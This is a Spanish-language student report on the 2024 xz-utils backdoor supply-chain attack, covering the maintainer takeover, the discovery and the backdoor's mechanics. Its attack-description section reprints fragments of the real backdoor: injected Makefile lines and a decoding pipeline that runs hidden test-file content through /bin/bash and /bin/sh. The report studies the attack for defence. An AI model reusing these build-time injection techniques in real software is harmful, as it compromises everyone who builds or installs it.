Universidad Nacional Autónoma de México

Facultad de Ingeniería

Sistemas Operativos

Ing. Gunnar Eyal Wolf Iszaevich

Tema

Ataques a la cadena de suministros

Grupo 6

Armando Cruz Maldonado

Díaz González Rivas Ángel Iñaqui

Fecha de de entrega: 30/04/2024

Semestre 2024-2

Introducción

XZ Utils es la evolución del formato de compresión basado en el algoritmo de cadenas de Markov/Lempel-Ziv, que proporciona una compresión (a veces superior a la de bzip2), aunque requiere mucha memoria y permite una descompresión rápida y sencilla.

Este conjunto de herramientas proporciona utilidad de línea de comandos para trabajar con la compresión XZ, que incluyen xz, unxz, xzcat, xzgrep y otras. También pueden manejar el antiguo formato LZMA y, si se invocan con los enlaces simbólicos adecuados, emularán el comportamiento de los comandos del paquete lzma.

XZ Utils es muy utilizado hoy en día debido a su nivel de compresión, y se encuentra por defecto en la mayoría de las distribuciones de linux, debido a que buena parte de los servidores en internet estan basados en linux, crea una dependencia en la cual si llega a ser atacado podría resultar en una situación crítica que terminaría por afectar la seguridad de todo el internet.

Tukaani es un proyecto con múltiples objetivos, el objetivo principal es crear una distribución de Linux basada en Slackware que quepa en un solo CD-ROM (disco compacto de solo lectura). Tukaani es a donde reside xz-utils, el cual tenía dos mantenedores: Lasse Collin (Larhzu), quien es el creador y mantenedor de lzma-utils y XZ desde 2009; y Jia Tan (JiaT75), quien comenzó en xz en los últimos 2 años, en los cuales obtuvo acceso para confirmar cambios, y mas tarde derechos como administrador de lanzamientos. Fue removido el 31 de marzo de 2024 luego de detectarse el ataque.

Los ataques a cadenas de suministros son definidos por Austen como un tipo de ciberataque dirigido a proveedores externos cuyo software o servicios son parte esencial de la cadena de suministro de una organización. La cadena de suministro abarca a todas las personas, software, hardware, recursos y otras entidades involucradas en llevar un producto al mercado, desde su fase de diseño hasta su entrega.

Estos ataques se basan en el principio de que una cadena es tan fuerte como su eslabón más débil. En lugar de dirigirse directamente a la organización principal detrás de un producto, los ataques a la cadena de suministros se centran en componentes menos protegidos de la organización. Esto proporciona un punto de entrada a la organización a través de su eslabón más vulnerable.

Los ataques a la cadena de suministros son comunes y efectivos porque las cadenas de suministro son largas y a veces difíciles de rastrear. Por lo tanto, estos ataques representan una amenaza directa para numerosas organizaciones. Cualquier empresa que utilice servicios de terceros, especialmente en el ámbito digital, está potencialmente en riesgo. (Austen, 2023).

Los backdoors, también conocidos como puertas traseras, son métodos de acceso no autorizados a sistemas o dispositivos que permiten a los atacantes eludir la autenticación estándar y tomar el control del sistema de manera encubierta. Los backdoor pueden infiltrarse de diversas maneras, ya sea el ser descargados junto con archivos y aplicaciones infectadas permitiendo obtener control sobre el equipo, o el aprovechar vulnerabilidades que están preinstaladas en los sistemas operativos o en aplicaciones en

uso. En muchos casos, el backdoor actúa como una llave maestra, alterando el sistema operativo y estableciendo comunicación con servidores remotos para llevar a cabo acciones maliciosas.

Descripción del ataque

El ataque fue detectado el 29 de marzo del 2024, en el que después de observar algunos síntomas extraños relacionados con liblzma (parte del paquete xz) en las instalaciones de Debian sid durante las últimas semanas (inicios de sesión con SSH consumiendo mucha CPU, errores de valgrind),se descubrió un backdoor en xz-utils, dicha backdoor solo aparece con los tarballs de las versiones 5.6.0 y 5.6.1 creados por Jia Tan y en las distribuciones que tenga contenida a glibc (biblioteca estándar de C para sistemas operativos tipo Unix).

Tarball es un apodo que reciben los archivos tar, los cuales son derivado de "Tape Archive" (Archivo en cinta en español), que hacen referencia a un tipo de archivo comprimido que tiene como objetivo reunir múltiples archivos en uno solo, facilitando su gestión y almacenamiento. Este término proviene de cuando los archivos se almacenaban en cintas físicas, de ahí el origen del nombre.

Además de los archivos en sí, un archivo TAR típicamente conservará la estructura, permisos, fechas y jerarquía de los archivos originales, lo que lo hace especialmente útil para fines de archivado y copias de seguridad.

Por su parte un valgrind se refiere a un sistema que examina el comportamiento de un programa utilizando datos recopilados durante su ejecución mediante un marco de instrumentación (framework) para desarrollar herramientas de análisis dinámico, dichas herramientas pueden detectar automáticamente una amplia gama de errores relacionados con la gestión de memoria y la concurrencia, además de proporcionar un análisis detallado del rendimiento de los programas

Usualmente, los archivos tar proporcionados por la fuente de origen difieren de los generados automáticamente en GitHub. En estos archivos tar modificados se incluye una versión maliciosa de build-to-host.m4, la cual activa un script durante la fase de construcción.

Parte del backdoor reside exclusivamente en los archivos tar distribuidos, particularmente en los archivos tar para las versiones 5.6.0 y 5.6.1. Sin embargo, también está presente en los archivos tar lanzados directamente por el proyecto, a excepción de aquellos vinculados como "código fuente". Este backdoor introduce un script ofuscado para su ejecución al final de la configuración. El script se encuentra altamente ofuscado y hace uso de datos provenientes de archivos ".xz" de prueba almacenados en el repositorio.

El proceso de ofuscar un script implica modificar el código fuente de un programa de manera que sea más complejo y difícil de entender, sin afectar su funcionalidad. Su propósito es obstaculizar la ingeniería inversa Esto hace que sea considerablemente más complicado para un atacante comprender la lógica y la estructura interna del código. Algunas de las técnicas de ofuscación son Cambio de nombres de variables y funciones a formas crípticas o poco descriptivas, Reordenamiento de código, que implica cambiar la estructura del código sin modificar su comportamiento. Inserción de código inútil, que agrega líneas de código redundantes o sin sentido lógico para complicar la comprensión del programa sin alterar su funcionamiento.o el cifrado y codificación.

Por otro lado, la des ofuscación es el proceso contrario, que consiste en revertir los cambios realizados en el código ofuscado para restaurarlo a su forma original o más legible. Sin embargo, desofuscar un

script puede ser una tarea difícil, especialmente si la ofuscación ha sido realizada de manera compleja o si se han utilizado técnicas avanzadas.

Este script se ejecuta si se complen algunas condiciones previas, modifica
$builddir/src/liblzma/Makefile
para contener:
am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

lo que resulta en:
...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

Si se omite el "| bash", produce:
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

Una vez desofuscado, conduce al archivo adjunto "injected.txt".

Los archivos que albergan la mayor parte del exploit se encuentran en una forma ofuscada en el repositorio, específicamente en:

- tests/files/bad-3-corrupt_lzma2.xz
- tests/files/good-large_compressed.lzma

El exploit se refiere al código malicioso o la secuencia de comandos que se ha insertado de manera oculta en los archivos de código fuente de un proyecto. Este código tiene la intención de realizar acciones no autorizadas o dañinas cuando se ejecuta en el sistema de un usuario desprevenido. El

exploit se ha insertado en el código fuente como parte de un archivo adjunto llamado "injected.txt" y que se ha distribuido en archivos de prueba específicos en el repositorio del proyecto.

Como resultado de la inyección de código, se han reportado errores de valgrind y fallos en algunas configuraciones, principalmente porque el diseño de la pila no coincidía con lo que se esperaba del backdoor. El script desofuscado adjunto se invoca primero después de la configuración, donde decide si modificar o no el proceso de construcción para inyectar el código.

Estas condiciones se centran únicamente en sistemas x86-64 Linux:

```
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" >
/dev/null 2>&1);then
```

La compilación se realiza con gcc y el enlazador GNU:

```
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
   exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
   exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
   exit 0
```

Estas líneas de código están diseñadas para verificar si el sistema en el que se está compilando el código cumple con ciertos criterios, como ser un sistema x86-64 Linux y utilizar gcc y el enlazador GNU. Si estas condiciones no se cumplen, el script de construcción se interrumpe y finaliza. Esto asegura que el exploit solo se active en sistemas específicos que cumplan con los requisitos establecidos.

Ejecución como parte de una construcción de paquete Debian o RPM:

```
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
```

Dado que esto se está ejecutando en un contexto de pre-autenticación, parece probable que permita algún tipo de acceso o ejecución de código remoto.

El script, detectado en las versiones 5.6.0 y 5.6.1, realiza una serie de verificaciones, que incluyen la arquitectura del sistema y las herramientas de desarrollo en uso. Específicamente, apunta a sistemas con arquitectura x86_64 que estén ejecutando Linux y que utilicen la Biblioteca C GNU (glibc). Además, comprueba si se está empleando el compilador GCC y si el proceso de construcción tiene como objetivo la generación de paquetes para Debian o Red Hat (Freund, 2024).

Este ataque está específicamente diseñado para sistemas con arquitectura amd64, que corren glibc y emplean distribuciones basadas en Debian o Red Hat. Aunque otros sistemas podrían potencialmente ser vulnerables, su susceptibilidad actualmente permanece incierta.

Causas

Para entender las causas detrás de los eventos, es esencial hacer una revisión de los sucesos que se han ido desarrollando a lo largo del tiempo. Todo comenzó con la creación de la cuenta de GitHub de Jia

Tan en 2021, seguido por su primer PR en libarchive. Más adelante, en 2022, JiaT75 realizó su primer commit en xz, introduciendo pruebas diseñadas para funcionalidades de hardware, lo que le valió la confianza de Collin. A partir de entonces, se convirtió en un contribuyente regular de xz, ascendiendo eventualmente al segundo puesto en actividad. En marzo de 2023, el correo electrónico principal de contacto en oss-fuzz de Google se actualizó para ser el de Jia, en lugar de Lasse Collin (Boehs, 2024).

En 2024, se abrió una solicitud de extracción para oss-fuzz de Google que cambió la URL del proyecto de tukaani.org/xz/ a xz.tukaani.org/xz-utils/. tukaani.org estaba alojado en 5.44.245.25 en Finlandia, mientras que el subdominio xz apuntaba a las páginas de GitHub. Esto incrementó el control que Jia tenía sobre el proyecto (Boehs, 2024).

El descubrimiento de la backdoor fue realizado por el ingeniero de Microsoft, Andrés Freund, quien notó que los procesos de sshd estaban utilizando una cantidad inusual de CPU a pesar de no haberse establecido sesiones. Pocas horas después de que esto saliera a la luz, GitHub suspendió la cuenta de JiaT75, así como el repositorio y la cuenta de Lasse Collin. Sin embargo, la cuenta de Lasse ya se encuentra activa nuevamente. Lasse ha comenzado a revertir los cambios introducidos por Jia, incluyendo aquellos que desactivaban el sandbox.

SSHD es responsable de administrar las conexiones SSH entrantes y facilitar la autenticación de usuarios remotos y la comunicación segura entre sistemas. Por otro lado, sandbox se refiere a un entorno de ejecución restringido y controlado que se utiliza para ejecutar aplicaciones de forma segura y aislada del sistema operativo subyacente. En este caso el mecanismo de seguridad que ha sido desactivado o comprometido como parte del ataque detectado en el proyecto. Es probable que esta medida de seguridad haya sido alterada como parte de la inserción de la puerta trasera, lo que permitió que los procesos de SSH consumieran una cantidad inusual de CPU sin una actividad de sesión legítima.

El payload se carga de manera indirecta en sshd. A menudo, se realizan parches en el sshd para admitir systemd-notify, lo que permite que otros servicios se inicien cuando el sshd está en funcionamiento. Se carga la biblioteca liblzma porque otros componentes de libsystemd dependen de ella. Si el payload se carga en el sshd de openssh, la función RSA_public_decrypt se redirigirá a una implementación maliciosa que podría utilizarse para evitar la autenticación (James, 2024).

El término payload (carga útil en español) se refiere a un conjunto de instrucciones o datos que se cargan en un sistema para llevar a cabo una tarea específica, en este caso, posiblemente con fines maliciosos. La playload se carga indirectamente en el sshd, el responsable de gestionar las conexiones

SSH entrantes. El uso de systemd-notify para iniciar otros servicios cuando sshd está en funcionamiento indica una posible ruta de ataque.

El análisis compartido por Filippo Valsorda describe un escenario en el que un atacante puede ejecutar código de forma remota (RCE) en un sistema. Para lograr esto, el atacante necesita proporcionar una clave que el sistema verificará inicialmente. Después de esta verificación, la entrada proporcionada por el atacante se pasa a una función llamada system(), que ejecuta el código proporcionado por el atacante.

El proceso de verificación de la clave del atacante implica extraer una parte llamada "cargador" de un valor llamado N, que en este caso representa una clave pública, utilizando una función llamada RSA_public_decrypt. Antes de verificar una firma digital llamada Ed448, este cargador se valida primero utilizando una huella digital simple y luego se descomprime utilizando una clave fija llamada ChaCha20 (Valsorda, 2024).

El término "descifrar" se utiliza porque RSA_public_decrypt no se está utilizando en su función típica de cifrado de datos para proteger la confidencialidad, sino que se emplea para verificar la autenticidad de un mensaje firmado digitalmente. En RSA, el proceso de verificación de firma implica el uso de la clave pública del firmante para "descifrar" la firma y obtener el mensaje original o un resumen del mismo. Luego, se compara este resultado con un resumen del mensaje original que se calcula localmente. Si coinciden, la firma se considera válida.

La idea es que RSA, al ser un sistema de cifrado asimétrico, tiene la propiedad de que la clave pública puede usarse para cifrar datos, pero también para verificar firmas digitales. Por lo tanto, la función RSA_public_decrypt se utiliza en este caso para "descifrar" la firma digital utilizando la clave pública del firmante, no para desencriptar datos.

Con respecto a la manipulación de la clave pública RSA_public_decrypt por parte del atacante antes de la autenticación mediante certificados OpenSSH, esto podría ser un vector de ataque si el sistema no implementa medidas de seguridad adecuadas para proteger la integridad de la clave pública del firmante. Si el atacante puede manipular la clave pública de manera que RSA_public_decrypt devuelva un resultado diferente al esperado, podría engañar al sistema y realizar una ejecución remota de código (RCE) con una clave pública maliciosa.

Los certificados OpenSSH incluyen la clave pública del firmante, lo que permite a los sistemas verificar la autenticidad de los mensajes firmados digitalmente por el firmante. Sin embargo, si el cargador está malformado o la firma de la clave del atacante no se verifica correctamente, el sistema debe regresar a la operación regular para evitar posibles ataques. Esto resalta la importancia de implementar mecanismos

sólidos de autenticación y verificación de firma digital para protegerse contra ataques de manipulación de claves públicas y firmas maliciosas.

El compromiso de Jia Tan contenía un punto en la comprobación de CMake para el soporte de la protección sandboxing de landlock. Esto hizo que la comprobación siempre fallará, por lo que se detectaba la ausencia de soporte de landlock (Valsorda, 2024).

El compromiso realizado por Jia Tan, se encontró un problema en la verificación llevada a cabo por CMake para determinar si existía el soporte necesario para la protección sandboxing de landlock. En este contexto, CMake se refiere a una herramienta de código abierto ampliamente utilizada para automatizar el proceso de construcción de software. CMake permite a los desarrolladores configurar y generar archivos de compilación para diferentes entornos y sistemas operativos.

Por otro lado, landlock es un mecanismo de seguridad del kernel de Linux que permite a los usuarios y aplicaciones imponer restricciones de acceso al sistema de archivos y otros recursos del kernel. Landlock se utiliza para crear entornos de ejecución más seguros y proteger contra posibles vulnerabilidades y ataques maliciosos en sistemas Linux.

El compromiso de Jia Tan indica que hubo un error en la configuración de CMake que afectaba la detección y el soporte de landlock. Este error en la configuración de CMake resultó en una detección incorrecta de la presencia de landlock en el sistema, lo que podría haber llevado a problemas de seguridad o a la falta de utilización adecuada de las características de seguridad proporcionadas por landlock.

Valoración

¿Por qué el ataque al sistema de suministros de linux se consideró uno de los ataques más significativos?.

Hemos visto que el ataque a la cadena de suministros fue de forma discreta y pudo ser imperceptible, la forma que fue descubierto este ataque podría considerarse una observación ligera esto por la conexión a los puertos SSH y por una diferencia mínima de medio segundo. Podemos imaginarnos como una diferencia puede mostrar más de lo que uno imagina, ahora tomemos la siguiente perspectiva.

La forma que se lograba la vulnerabilidad en los equipos era la siguiente: al ejecutarse XZ utils dentro de su código contiene dos archivos de prueba, en estos archivos su código implementa un método para cambiar caracteres entre los archivos, el primer archivo modifica el caracteres del segundo archivo para volverlo un script malicioso, y a la vez el segundo archivo convertía en un script malicioso el primer

archivo, con el fin de generar un objeto llamado liblzma_la_crc64-fast.o que se encargaba de corroborar los requisitos del sistema en el que se estaba ejecutando, si era compatible, el script podría secuestrar los puertos SSH de esta forma se generaba la puerta trasera (backdoor) en los equipos.

Hablamos sobre las conexiones SSH hay que aclarar que: SSH conocido como Secure Shell, es una forma para referirse a los protocolos SSH estos especifican los estándares para operar los servicios de red de forma segura entre anfitriones que no tienen una relación de confianza especialmente en redes no seguras, la encriptación entre la comunicación de cliente y servidor hace que sea ideal su uso para este propósito.

Volviendo con lo anterior, en términos generales si los protocolos SSH son vulnerados, se vuelve delicado ya que son una conexión entre dos equipos, donde se puede fácilmente recopilar datos del equipo infectado.

Con lo visto sobre la conexión en los backdoors, el problema escala ya que con este archivo malicioso podrían hacer cualquier movimiento en cualquier equipo que esté infectado desde robo de datos, espionaje, manipular datos, etc. Considerando que son miles de Usuarios y Empresas que usan Sistemas de linux, Hablariamos de un caos inminente.

Referencias

- James, J. (2024). FAQ on the xz-utils backdoor (CVE-2024-3094). GitHub Gist. https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
- Boehs, E. (2024, Marzo 29). Everything I know about the XZ backdoor. Recuperado el 19 de abril del 2024, de https://boehs.org/node/everything-i-know-about-the-xz-backdoor#fnref2
- Collin, L. (2024). XZ Utils backdoor.https://tukaani.org/xz-backdoor/
- Valsorda, F. [@filippo.abyssdomain.expert]. (2024, 30 de marzo). I'm watching some folks reverse engineer the xz backdoor, sharing some *preliminary* analysis with permission. The hooked RSA_public_decrypt. Bluesky Social. https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b
- Freund, A. (2024, 29 de marzo). [oss-security] backdoor in upstream xz/liblzma leading to ssh server compromise. LWN.net. https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de/
- Debian Webmaster, webmaster@debian.org. (s. f.). Debian -- Details of package xz-utils in sid. https://packages.debian.org/es/sid/xz-utils
- Developers, T. L. (s. f.). The Tukaani project. © the Tukaani Project. https://ftp.uni-bayreuth.de/packages/tools/lzma/tukaani.org/
- Read-McFarland, A.(2023, Mayo 11). ¿Qué es un Ataque a la Cadena de Suministros? Todo lo que deben saber las empresas. Wildix Blog. https://blog.wildix.com/es/que-es-un-ataque-a-la-cadena-de-suministros/

- Gómez, J. A. (2024, Febrero 2). Backdoor o Puerta Trasera: Qué es, Cómo Evitarlos y Eliminarlos. https://www.deltaprotect.com/blog/backdoor-o-puerta-trasera
- Communications. (2023, Diciembre 28). Cómo afectan las “backdoor” o puertas traseras en tus dispositivos. BBVA NOTICIAS. https://www.bbva.com/es/innovacion/como-afecta-las-backdoor-o-puertas-traseras-en-tus-dispositivos/
- WinZip | Download your free Trial. (s. f.). https://www.winzip.com/es/learn/file-formats/tar/
- Análisis Irontec ataque xz Utils herramienta distribuciones Linux. (2024, April 12). Irontec - Consultoría Tecnológica. https://www.irontec.com/news/analisis-irontec-ataque-xz-utils-herramienta-distribuciones-linux
- Vargas, R. (s. f.). Archivos .TAR. . . ¿Qué son? ¿Cómo usarlos? - RicardoVargas.me. https://ricardovargas.me/es/bitacora-web/articulos/item/archivos-tar-que-son-como-usarlos
- Valgrind home. (s. f.). https://valgrind.org/
- Micucci, M. (2024, 2 de febrero). La ofuscación de código: un arte que reina en la ciberseguridad. welivesecurity. https://www.welivesecurity.com/es/recursos-herramientas/ofuscacion-de-codigo-arte-ciberseguridad/
- *¿Qué es SSH? Definición y detalles*. (s. f.). https://www.paessler.com/es/it-explained/ssh